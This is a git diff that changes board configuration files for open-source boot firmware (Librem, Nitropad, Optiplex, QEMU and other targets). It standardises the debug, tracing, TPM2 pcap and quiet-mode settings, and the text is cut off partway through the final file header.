a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config index 5c7a27cd8..00383ad5d 100644 --- a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +++ b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config @@ -34,6 +34,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 1c50b4ef6..79cca98cf 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -30,6 +30,13 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index c52f16abc..706a6dadb 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -29,6 +29,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index fcc515152..643375ff0 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -29,6 +29,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 6ac128a5c..4d9189059 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -28,6 +28,13 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index f21c3d677..7de9fdc37 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -29,6 +29,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 8b9ec201b..3f2bf5e8b 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -30,6 +30,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 5684ebe00..4ab33819a 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -29,6 +29,13 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 6098682b9..fde0be749 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -32,6 +32,13 @@ CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y CONFIG_PRIMARY_KEY_TYPE=ecc +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 46d0a7388..3ca17433d 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -30,6 +30,13 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 163876e16..dba61447f 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -30,6 +30,13 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index ffcb94579..de4512a55 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -8,12 +8,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-ns50.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -68,6 +62,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n @@ -75,4 +76,3 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NS50" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 92ab67d40..c389f555e 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -8,12 +8,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom_nv4x_adl.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -67,6 +61,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n @@ -74,4 +75,3 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom NV4x 12th Gen" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index e695df4ff..f890345f1 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -74,6 +70,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 9d4e0e6fd..293a28198 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -74,6 +70,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 35aa57d10..3122197c7 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -74,6 +70,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 03a711e4f..f12614c99 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -74,6 +70,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index 255357084..dd76f5875 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -22,7 +22,7 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y +#export CONFIG_TPM2_CAPTURE_PCAP=n #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -82,6 +82,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +99,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index d24ff7ab2..8e74f1c39 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -82,6 +76,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index 04c0c6477..c2eefb677 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -20,7 +20,7 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y +#export CONFIG_TPM2_CAPTURE_PCAP=n #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -80,6 +80,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +97,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 7e07c23a1..d64d95d52 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config index fd1b23d4a..2c907376d 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config @@ -17,12 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -81,6 +75,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -91,6 +92,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config index 05422e305..552caccc4 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config @@ -17,7 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index fc397409a..61299f32d 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ 